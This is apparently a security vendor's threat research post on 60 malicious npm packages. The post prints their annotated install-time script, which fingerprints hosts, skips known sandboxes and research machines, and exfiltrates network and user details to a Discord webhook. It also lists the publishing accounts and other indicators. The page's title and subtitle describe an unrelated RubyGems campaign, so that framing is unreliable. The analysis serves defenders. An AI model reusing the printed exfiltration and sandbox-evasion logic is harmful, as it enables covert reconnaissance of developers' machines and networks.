
Research
/Security News
60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Kirill Boychenko
May 23, 2025
Socket’s Threat Research Team has uncovered an active campaign in the npm ecosystem that now spans 60 packages published under three npm accounts. Each package carries a small install‑time script that, when triggered during npm install
, collects hostnames, internal and external IP addresses, DNS server lists, and user directory paths, then exfiltrates the data to a Discord webhook under the threat actor’s control.
The first package emerged eleven days ago and the most recent appeared only hours before this publication, confirming the operation is still under way. The script targets Windows, macOS or Linux systems, and includes basic sandbox‑evasion checks, making every infected workstation or continuous‑integration node a potential source of valuable reconnaissance. Combined downloads now exceed 3,000, giving the threat actor a growing map of developer and enterprise networks that can guide future intrusions. As of this writing, all packages remain live on npm. We have petitioned for their removal.
First three malicious packages released under the npm accountsbbbb335656
,cdsfdfafd1232436437
, andsdsds656565
. Each account went on to publish twenty malicious packages in total.
The script performs reconnaissance with the sole purpose of fingerprinting each machine that builds or installs the package. By collecting both internal and external network identifiers, it links private developer environments to their public‑facing infrastructure — ideal for follow‑on targeting. The selective sandbox escapes indicate the threat actor wants real victims, not sandboxes or research VMs.
The annotated code snippets below demonstrate the malicious logic inside the seatable
package. This payload is identical across all 60 packages published by the threat actor.
const os = require("os"); // Gathers host and user details
const dns = require("dns"); // Reads system DNS servers
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name; // Fingerprints which malicious pkg ran
// ---------- Local network inspection ------------
function getIPAddress() { // Enumerates local NICs
const networkInterfaces = os.networkInterfaces();
...
if (alias.family === 'IPv4' && !alias.internal) {
return alias.address; // Captures internal IP
}
}
// ---------- Public network inspection ------------
function getExternalIP(cb) { // Queries ipinfo[.]io for external IP
https.get('https://ipinfo.io/json', (res) => { ... });
}
// ---------- Virtualization / Sandbox evasion ------
if ( externalHost.includes("compute.amazonaws.com") || // AWS
externalHost.includes("bc.googleusercontent.com") || // GCP
externalHost.includes("default-rdns.vocus.co.nz") || // Sandboxes
internalHost.includes("LD.local") || // Lab domain
homedir.match(/justin|mal_data|malicious/i) ) { // Research VMs
return; // Abort if running in known test envs
}
// ---------- Exfiltration to a Discord webhook -----
const trackingData = JSON.stringify({ // Builds large JSON blob:
package, directory: __dirname, home_directory: os.homedir(),
username: os.userInfo().username, dns: dns.getServers(),
internal_hostname: os.hostname(), internal_ip: getIPAddress(),
external_ip: ext.ip, external_hostname: ext.hostname, organization: ext.org,
resolved_url: packageJSON.___resolved, package_version: packageJSON.version,
package_json: packageJSON, package_type: 'npm'
});
const webhookURL = "hxxps://discord[.]com/api/webhooks/1330015051482005555/5fll497pcjzKBiY3b_oa9YRh-r5Lr69vRyqccawXuWE_horIlhwOYzp23JWm-iSXuPfQ";
https.request(webhookURL, {...}).write(JSON.stringify({content:`\`\`\`json\n${trackingData}\n\`\`\``}));
The script gathers enough information to connect an organization’s internal network to its outward‑facing presence. By harvesting internal and external IP addresses, DNS servers, usernames, and project paths, it enables a threat actor to chart the network and identify high‑value targets for future campaigns.
On continuous‑integration servers, the leak can reveal internal package registry URLs and build paths, intelligence that speeds up subsequent supply chain attacks. While the current payload is limited to reconnaissance, it creates a strategic risk by laying the foundation for deeper intrusions.
The accounts bbbb335656
(registration email npm9960+1@gmail[.]com
), sdsds656565
(registration email npm9960+2@gmail[.]com
), and cdsfdfafd1232436437
(registration email npm9960+3@gmail[.]com
), each show twenty packages published within an eleven‑day span. All 60 packages carry the same host‑fingerprinting code that exfiltrates data to the same Discord webhook. For instance, seatable
(from bbbb335656
), datamart
(from sdsds656565
), and seamless-sppmy
(from cdsfdfafd1232436437
) embed the identical malicious payload shown below.
Socket AI Scanner’s analysis, including contextual details about the malicious seatable
package.
The campaign remains active. Unless the npm registry removes the malicious packages and suspends the related accounts, more releases are likely. The threat actor can easily clone the script, track download telemetry in real time, and publish again. More than 3,000 installs without removal demonstrate that quiet reconnaissance is an effective foothold technique on npm and one that others may emulate.
Because the registry offers no guardrails for post‑install hooks, expect new throwaway accounts, fresh packages, alternative exfiltration endpoints, and perhaps larger payloads once a target list is complete. Defenders should assume the threat actor will continue publishing, refine evasion checks, and pivot to follow‑on intrusions that exploit the mapping already collected.
Defenders should adopt dependency‑scanning tools that surface post‑install hooks, hardcoded URLs, and unusually small tarballs. They should also strengthen the development pipeline with automated checks. The free Socket GitHub app and CLI flag suspicious patterns in pull requests and during package installs, while the Socket browser extension shows risk scores as you browse online. Together, these layers of scrutiny reduce the likelihood that a malicious package enters your codebase.
bbbb335656
(registration email npm9960+1@gmail[.]com
) – 20 packages
sdsds656565
(registration email npm9960+2@gmail[.]com
) – 20 packages
cdsfdfafd1232436437
(registration email npm9960+3@gmail[.]com
) – 20 packages
hxxps://discord[.]com/api/webhooks/1330015051482005555/5fll497pcjzKBiY3b_oa9YRh-r5Lr69vRyqccawXuWE_horIlhwOYzp23JWm-iSXuPfQ
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
/Security News
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Research
/Security News
Two npm packages masquerading as WhatsApp developer libraries include a kill switch that deletes all files if the phone number isn’t whitelisted.
Research
/Security News
Socket uncovered 11 malicious Go packages using obfuscated loaders to fetch and execute second-stage payloads via C2 domains.